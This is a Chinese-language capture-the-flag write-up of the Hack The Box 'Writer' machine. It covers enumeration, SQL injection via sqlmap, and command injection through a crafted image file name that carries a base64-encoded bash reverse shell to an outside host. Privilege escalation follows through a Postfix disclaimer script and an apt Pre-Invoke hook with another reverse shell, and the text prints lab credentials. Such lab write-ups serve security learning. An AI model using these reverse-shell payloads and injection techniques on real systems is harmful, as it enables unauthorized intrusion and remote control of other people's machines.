【HTB系列】Writer
2021-12-22 00:0:46 Author: mp.weixin.qq.com(查看原文) 阅读量:4 收藏

0x01 信息收集

└─# nmap  --min-rate=1000 -sV -sC 10.10.11.101                           
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-21 05:40 EDT
Nmap scan report for 10.10.11.101
Host is up (0.24s latency).
Not shown: 996 closed ports
PORT   STATE SERVICE     VERSION
22/tcp open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 98:20:b9:d0:52:1f:4e:10:3a:4a:93:7e:50:bc:b8:7d (RSA)
|   256 10:04:79:7a:29:74:db:28:f9:ff:af:68:df:f1:3f:34 (ECDSA)
|_  256 77:c4:86:9a:9f:33:4f:da:71:20:2c:e1:51:10:7e:8d (ED25519)
80/tcp open http       Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Story Bank | Writer.HTB
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: -6s
|_nbstat: NetBIOS name: WRITER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
|   2.02:
|_   Message signing enabled but not required
| smb2-time:
|   date: 2021-10-21T09:40:18
|_ start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.42 seconds

首先看下 smb是否有未授权

# smbclient -L -N  \\\\10.10.11.101\\IPC$
do_connect: Connection to -N failed (Error NT_STATUS_NOT_FOUND)
                                                               
# smbclient -L  \\\\10.10.11.101\\
enter WORKGROUP\root's password: [空]

      Sharename       Type     Comment
       ---------       ----      -------
      print$         Disk     Printer Drivers
      writer2_project Disk      
      IPC$           IPC       IPC Service (writer server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available                                                      
smbmap -u '' -p '' -R -H 10.10.11.101

发现有一个IPC$连接。但是没有权限进行连接,还有一个项目writer2_project,和一个打印机驱动

看下web服务器,能访问。扫描一下目录是有个logout应该是有后台的 ,

[05:46:34] 200 -    3KB - /about                                            
[05:46:50] 200 -   1KB - /administrative                                  
[05:47:06] 200 -   5KB - /contact                                          
[05:47:07] 302 - 208B - /dashboard -> http://10.10.11.101/              
[05:47:27] 302 - 208B - /logout -> http://10.10.11.101/                
[05:47:46] 403 - 277B - /server-status                                    
[05:47:46] 403 - 277B - /server-status/
[05:47:50] 301 - 313B - /static -> http://10.10.11.101/static/  

通过目录爆破找到后台

0x01 漏洞挖掘

由于没有验证码。尝试爆破弱密码,没有结果。

尝试使用sql注入。发现在uname字段存在字符型注入。

使用sqlmap

sqlmap -u "http://10.10.11.101/administrative" --data "uname=*&password=admin" --flush-session  

数据库权限是:admin

用户也不是数据库管理员。

尝试读取文件,发现可以读取/etc/passwd文件中有,四个可以登陆的用户root、kyle、filter、john

root:x:0:0:root:/root:/bin/bash
kyle:x:1000:1000:Kyle Travis:/home/kyle:/bin/bash
filter:x:997:997:Postfix Filters:/var/spool/filter:/bin/sh
john:x:1001:1001:,,,:/home/john:/bin/bash

后台翻了一遍,stories的修改处和settings里都有文件上传,但限制了jpg后缀(服务端检测)。苦思良久绕不过去。

还有一个更新文本的功能,尝试一下php三种插入

  • <script language="php">echo("test");</script>

  • <? echo 123;?>

  • <?php phpinfo();?>

发现都不行。。。头大。

回到文件读取漏洞。尝试多读一些配置文件。

在网上随便找了一些目录 ,没什么有用信息

尝试使用关键词搜索

访问一下果然

想到的文件太少了。没办法了。无奈 。自己搭建一下 服务器。

ubuntu:apt install apache2

root@ubuntu:/etc/apache2# tree
.
├── apache2.conf
├── conf-available
│   ├── charset.conf
│   ├── javascript-common.conf
│   ├── localized-error-pages.conf
│   ├── other-vhosts-access-log.conf
│   ├── security.conf
│   └── serve-cgi-bin.conf
├── conf-enabled
│   ├── charset.conf -> ../conf-available/charset.conf
│   ├── localized-error-pages.conf -> ../conf-available/localized-error-pages.conf
│   ├── other-vhosts-access-log.conf -> ../conf-available/other-vhosts-access-log.conf
│   ├── security.conf -> ../conf-available/security.conf
│   └── serve-cgi-bin.conf -> ../conf-available/serve-cgi-bin.conf
├── envvars
├── magic
├── mods-available
│   ...
│   └── xml2enc.load
├── mods-enabled
│   ├── access_compat.load -> ../mods-available/access_compat.load
│   ├── alias.conf -> ../mods-available/alias.conf
│   ├── alias.load -> ../mods-available/alias.load
│   ├── auth_basic.load -> ../mods-available/auth_basic.load
│   ├── authn_core.load -> ../mods-available/authn_core.load
│   ├── authn_file.load -> ../mods-available/authn_file.load
│   ├── authz_core.load -> ../mods-available/authz_core.load
│   ├── authz_host.load -> ../mods-available/authz_host.load
│   ├── authz_user.load -> ../mods-available/authz_user.load
│   ├── autoindex.conf -> ../mods-available/autoindex.conf
│   ├── autoindex.load -> ../mods-available/autoindex.load
│   ├── deflate.conf -> ../mods-available/deflate.conf
│   ├── deflate.load -> ../mods-available/deflate.load
│   ├── dir.conf -> ../mods-available/dir.conf
│   ├── dir.load -> ../mods-available/dir.load
│   ├── env.load -> ../mods-available/env.load
│   ├── filter.load -> ../mods-available/filter.load
│   ├── mime.conf -> ../mods-available/mime.conf
│   ├── mime.load -> ../mods-available/mime.load
│   ├── mpm_event.conf -> ../mods-available/mpm_event.conf
│   ├── mpm_event.load -> ../mods-available/mpm_event.load
│   ├── negotiation.conf -> ../mods-available/negotiation.conf
│   ├── negotiation.load -> ../mods-available/negotiation.load
│   ├── reqtimeout.conf -> ../mods-available/reqtimeout.conf
│   ├── reqtimeout.load -> ../mods-available/reqtimeout.load
│   ├── setenvif.conf -> ../mods-available/setenvif.conf
│   ├── setenvif.load -> ../mods-available/setenvif.load
│   ├── status.conf -> ../mods-available/status.conf
│   └── status.load -> ../mods-available/status.load
├── ports.conf
├── sites-available
│   ├── 000-default.conf
│   └── default-ssl.conf
└── sites-enabled
  └── 000-default.conf -> ../sites-available/000-default.conf

6 directories, 188 files

一个一个读,在最后一个文件绝对路径在/etc/apache2/sites-available/000-default.conf中存在一个/var/www/writer.htb/writer.wsgi的文件。

有经验的师傅可能知道,apache默认有一个文件是可以看到web的目录的:/etc/apache2/sites-enabled/000-default.conf

wsgi是什么?

wsgi是一个全称Python Web Server Gateway Interface,指定了web服务器和Python web应用或web框架之间的标准接口,以提高web应用在一系列web服务器间的移植性。具体可查看 官方文档

获取该文件,内容如下

#!/usr/bin/python
import sys
import logging
import random
import os

# Define logging
logging.basicConfig(stream=sys.stderr)
sys.path.insert(0,"/var/www/writer.htb/")

# Import the __init__.py from the app folder
from writer import app as application
application.secret_key = os.environ.get("SECRET_KEY", "")

发现导入了一个python包。毫无头绪。。。尝试读取__init__.py文件。

根据python的类引用的特性,发现当前目录下可能存在一个`writer/__init__.py的文件,即绝对路径为/var/www/writer.htb/writer/__init__.py的文件。

0x03 getshell

读取一下,发现这个文件写的使用使用flask接口。美化后的源码如下:

from flask import Flask, session, redirect, url_for, request, render_template
from mysql.connector import errorcode
import mysql.connector
import urllib.request
import os
import PIL
from PIL import Image, UnidentifiedImageError
import hashlib

app = Flask(__name__,static_url_path='',static_folder='static',template_folder='templates')

#Define connection for database
def connections():
   try:
       connector = mysql.connector.connect(user='admin', password='ToughPasswordToCrack', host='127.0.0.1', database='writer')#数据库信息
       return connector
   except mysql.connector.Error as err:
   else:
       print ('Connection to DB is ready!')


@app.route('/dashboard/stories/add', methods=['GET', 'POST'])
def add_story():
   if not ('user' in session):
       return redirect('/')
   try:
       connector = connections()
   except mysql.connector.Error as err:
           return ("Database error")
   if request.method == "POST":
       ##########################################################
       if request.files['image']:
           image = request.files['image']
           if ".jpg" in image.filename:
               path = os.path.join('/var/www/writer.htb/writer/static/img/', image.filename)
               image.save(path)
               image = "/img/{}".format(image.filename)
           else:
               error = "File extensions must be in .jpg!"
               return render_template('add.html', error=error)

       if request.form.get('image_url'):
           image_url = request.form.get('image_url')
           if ".jpg" in image_url:
               try:
                   local_filename, headers = urllib.request.urlretrieve(image_url)
                   os.system("mv {} {}.jpg".format(local_filename, local_filename))#直接填充命令
                   image = "{}.jpg".format(local_filename)
                   try:
                       im = Image.open(image)
                       im.verify()
                       im.close()
                       image = image.replace('/tmp/','')
                       os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))
                       image = "/img/{}".format(image)
                   except PIL.UnidentifiedImageError:
                       os.system("rm {}".format(image))
                       error = "Not a valid image file!"
                       return render_template('add.html', error=error)
               except:
                   error = "Issue uploading picture"
                   return render_template('add.html', error=error)
           else:
               error = "File extensions must be in .jpg!"
               return render_template('add.html', error=error)
       #####################################################
       author = request.form.get('author')
       title = request.form.get('title')
       tagline = request.form.get('tagline')
       content = request.form.get('content')
       cursor = connector.cursor()
       cursor.execute("INSERT INTO stories VALUES (NULL,%(author)s,%(title)s,%(tagline)s,%(content)s,'Published',now(),%(image)s);", {'author':author,'title': title,'tagline': tagline,'content': content, 'image':image })
       result = connector.commit()
       return redirect('/dashboard/stories')
   else:
       return render_template('add.html')

@app.route('/dashboard/stories/edit/&lt;id&gt;', methods=['GET', 'POST'])
def edit_story(id):
   if not ('user' in session):
       return redirect('/')
   try:
       connector = connections()
   except mysql.connector.Error as err:
           return ("Database error")
   if request.method == "POST":
       cursor = connector.cursor()
       cursor.execute("SELECT * FROM stories where id = %(id)s;", {'id': id})
       results = cursor.fetchall()
       if request.files['image']:
           image = request.files['image']
           if ".jpg" in image.filename:
               path = os.path.join('/var/www/writer.htb/writer/static/img/', image.filename)
               image.save(path)
               image = "/img/{}".format(image.filename)
               cursor = connector.cursor()
               cursor.execute("UPDATE stories SET image = %(image)s WHERE id = %(id)s", {'image':image, 'id':id})
               result = connector.commit()
           else:
               error = "File extensions must be in .jpg!"
               return render_template('edit.html', error=error, results=results, id=id)
       if request.form.get('image_url'):
           image_url = request.form.get('image_url')
           if ".jpg" in image_url:
               try:
                   local_filename, headers = urllib.request.urlretrieve(image_url)
                   os.system("mv {} {}.jpg".format(local_filename, local_filename))
                   image = "{}.jpg".format(local_filename)
                   try:
                       im = Image.open(image)
                       im.verify()
                       im.close()
                       image = image.replace('/tmp/','')
                       os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))
                       image = "/img/{}".format(image)
                       cursor = connector.cursor()
                       cursor.execute("UPDATE stories SET image = %(image)s WHERE id = %(id)s", {'image':image, 'id':id})
                       result = connector.commit()

                   except PIL.UnidentifiedImageError:
                       os.system("rm {}".format(image))
                       error = "Not a valid image file!"
                       return render_template('edit.html', error=error, results=results, id=id)
               except:
                   error = "Issue uploading picture"
                   return render_template('edit.html', error=error, results=results, id=id)
           else:
               error = "File extensions must be in .jpg!"
               return render_template('edit.html', error=error, results=results, id=id)
       title = request.form.get('title')
       tagline = request.form.get('tagline')
       content = request.form.get('content')
       cursor = connector.cursor()
       cursor.execute("UPDATE stories SET title = %(title)s, tagline = %(tagline)s, content = %(content)s WHERE id = %(id)s", {'title':title, 'tagline':tagline, 'content':content, 'id': id})
       result = connector.commit()
       return redirect('/dashboard/stories')

   else:
       cursor = connector.cursor()
       cursor.execute("SELECT * FROM stories where id = %(id)s;", {'id': id})
       results = cursor.fetchall()
       return render_template('edit.html', results=results, id=id)

@app.route("/logout")
def logout():
   if not ('user' in session):
       return redirect('/')
   session.pop('user')
   return redirect('/')

if __name__ == '__main__':
  app.run("0.0.0.0")

关键代码在两行#中间,比较简单,直接调用了系统命令。那就比较简单了,就是在文件名中进行命令拼接,且满足以下几个条件。

  1. 存在参数image_url,且该参数中存在字符.jpg

  2. 因为中间打开了图片,如果程序抛出异常将会结束程序

  3. 由于使用了urllib.request.urlretrieve,可以使用file协议。直接绝对路径读取

    所以上传的木马必须是图片,必须是可以命名的。

    01.jpg`bash -i >& /dev/tcp/10.10.14.14/4444 0>&1`

    测试发现不行。。无法使用一些\/&等符号,尝试进行编码

0x04 漏洞利用

尝试使用编码

└─# echo -n "/bin/bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"|base64

L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjE0LzQ0NDQgMD4mMQ==

再做一个恶意文件名的文件

touch '3.jpg`echo L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTQvNDQ0NCAwPiYxJw==|base64 -d|bash`'

复制一个图片。。来了

file:///var/www/writer.htb/writer/static/img/3.jpg`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjE0LzQ0NDQgMD4mMQ==|base64 -d|bash`

0x05 权限提升

www-data -> kyle

发现用户john里什么也没有。。。另一个用户有user.txt文件,但是没有权限。

此时,有两条思路,爆破用户kyle,或者找到保存的密码。密码就找数据库。

乱翻。。。

还发现了一个root 发给www-data的邮箱

这个邮件说,执行一个定时任务。

发现一个mysql服务,在web目录找了好长时间没找到配置文件。尝试在/etc/目录找找。。在/etc/mysql/发现几个配置文件。有账户号和密码。

[client]
database = dev
user = djangouser
password = DjangoSuperPassword
default-character-set = utf8

获取auth_user表,发现只有一个用户kyle。

MariaDB [dev]> select password,username from auth_user;
select password,username from auth_user;
+------------------------------------------------------------------------------------------+----------+
| password                                                                                 | username |
+------------------------------------------------------------------------------------------+----------+
| pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A= | kyle     |
+------------------------------------------------------------------------------------------+----------+
1 row in set (0.001 sec)

hash破解,这个密码没见过。前边的好像有规律,*_sha256抱着试一试的态度搜一搜,发现这个django的加密方法。破解

密码为marcoantonio

ssh [email protected]
marcoantonio

kyle -> john

登录搞了半天,好像无法提权。。。

看看用户id发现有一个filter组权限

kyle@writer:/$ id
uid=1000(kyle) gid=1000(kyle) groups=1000(kyle),997(filter),1002(smbgroup)
kyle@writer:/$ find / -group filter 2>/dev/null#
/etc/postfix/disclaimer

/var/spool/filter

postfix是一个邮件服务器。

发现一个25端口开在本地,本地还有一个8080 ;做ssh代理到本地也没发现什么东西

kyle@writer:/etc/postfix$ netstat -antpl
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp       0     0 127.0.0.1:3306         0.0.0.0:*               LISTEN     -                  
tcp       0     0 0.0.0.0:139             0.0.0.0:*               LISTEN     -                  
tcp       0     0 127.0.0.1:8080         0.0.0.0:*               LISTEN     -                  
tcp       0     0 127.0.0.53:53           0.0.0.0:*               LISTEN     -                  
tcp       0     0 0.0.0.0:22             0.0.0.0:*               LISTEN     -                  
tcp       0     0 127.0.0.1:25           0.0.0.0:*               LISTEN     -                  
tcp       0     0 0.0.0.0:445             0.0.0.0:*               LISTEN     -                  
tcp       0     1 10.10.11.101:59482     1.1.1.1:53             SYN_SENT   -                  
tcp       0   360 10.10.11.101:22         10.10.14.25:48326       ESTABLISHED -                  
tcp6       0     0 :::139                 :::*                   LISTEN     -                  
tcp6       0     0 :::80                   :::*                   LISTEN     -                  
tcp6       0     0 :::22                   :::*                   LISTEN     -                  
tcp6       0     0 :::445                 :::*                   LISTEN     -  

扫描一下,发现是一个smtp服务器

└─# nmap 127.0.0.1 -p 25 -sV -sC              
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-09 03:32 EST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000031s latency).

PORT   STATE SERVICE VERSION
25/tcp open smtp   Postfix smtpd
|_smtp-commands: writer.htb, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
| ssl-cert: Subject: commonName=writer
| Subject Alternative Name: DNS:writer
| Not valid before: 2021-05-13T22:27:20
|_Not valid after: 2031-05-11T22:27:20
|_ssl-date: TLS randomness does not represent time
Service Info: Host: writer.htb

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.08 seconds

发现在john用户目录下发现了一个.ssh文件,无权限。

查看进程,上pspy64,发现一直循环执行以下这几个程序。一直把一些关键文件从root目录复制出来,感觉有点像php里的不死马。

pspy64看进程有高亮舒服一点。

/etc/postfix/main.cf 是Postfix服务的主配置文件。

/etc/postfix/master.cf 是master程序进程配置文件。

感觉比较关键的进程如下:

/bin/sh -c /usr/bin/cp /root/.scripts/disclaimer /etc/postfix/disclaimer 
/bin/sh -c /usr/bin/cp /root/.scripts/master.cf /etc/postfix/master.cf
/bin/sh -c /usr/bin/cp /root/.scripts/disclaimer /etc/postfix/disclaimer
/bin/sh -c /usr/bin/rm /tmp/*


/bin/sh -c /usr/bin/find /etc/apt/apt.conf.d/ -mtime -1 -exec rm {} \;
/usr/bin/apt-get update
#可能有apt提权,前三种利用方式需要知道用户密码,没有密码,只能看/etc/apt/apt.conf.d/目录下是否可以写入。

查看master.cf文件内容

在/etc/postfix/master.cf文件里可以看到,将disclaimer的使用者指定为john,只要disclaimer被触发即是使用john身份,而disclaimer是filter组可读可写可执行。kyle也是filter组用户。所以写入反弹shell,执行。由于定时任务一直写入。所以需要与触发点同时运行。

触发点就是执行disclaimer邮箱服务器的

disclaimer_addresses文件中有两个Email地址。

python简单服务器

import smtplib
host = '127.0.0.1'
port = 25

sender_email = "[email protected]"
receiver_email = "[email protected]"
message = """ Hi there,I got it"""

try:
   server = smtplib.SMTP(host, port)
   server.ehlo()
   server.sendmail(sender_email, receiver_email, message)
except Exception as e:
   print(e)
finally:
   server.quit()

获取权限

cp disclaimer /etc/postfix/disclaimer &&python3 1.py

然后把上面发现的查看john目录下发现了公私钥,使用私钥登录(要记得改权限)。

john ->root

我们可以看到我们在管理组中,所以让我们看看我们可以访问哪些文件和目录

john@writer:/etc/apt$ find / -group management 2>/dev/null 
/etc/apt/apt.conf.d
john@writer:~$ ls -al /etc/apt/apt.conf.d
total 48
drwxrwxr-x 2 root management 4096 Nov 29 10:22 .
drwxr-xr-x 7 root root       4096 Jul  9 10:59 ..
-rw-r--r-- 1 root root        630 Apr  9  2020 01autoremove
-rw-r--r-- 1 root root         92 Apr  9  2020 01-vendor-ubuntu
-rw-r--r-- 1 root root        129 Dec  4  2020 10periodic
-rw-r--r-- 1 root root        108 Dec  4  2020 15update-stamp
-rw-r--r-- 1 root root         85 Dec  4  2020 20archive
-rw-r--r-- 1 root root       1040 Sep 23  2020 20packagekit
-rw-r--r-- 1 root root        114 Nov 19  2020 20snapd.conf
-rw-r--r-- 1 root root        625 Oct  7  2019 50command-not-found
-rw-r--r-- 1 root root        182 Aug  3  2019 70debconf
-rw-r--r-- 1 root root        305 Dec  4  2020 99update-notifier

文件夹management中可读、可写、可执行

配合进程中不断运行的apt update

可以尝试提权。由于不知道密码可尝试的运行方法只有一种,就是写入到/etc/apt/apt.conf.d/目录下

echo 'apt::Update::Pre-Invoke {"echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yLzQ0NDQgMD4mMQo=|base64 -d|bash"};' > /etc/apt/apt.conf.d/pwn


文章来源: https://mp.weixin.qq.com/s?__biz=MzU3MTU3NDk4Mw==&mid=2247484953&idx=1&sn=32e94a9714f404f19d8c37e5abb1b6df&chksm=fcdf59b1cba8d0a70184af9560ab0f4846b2715e872a1c36af54b4420a649242b0bb05ecc6ec&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh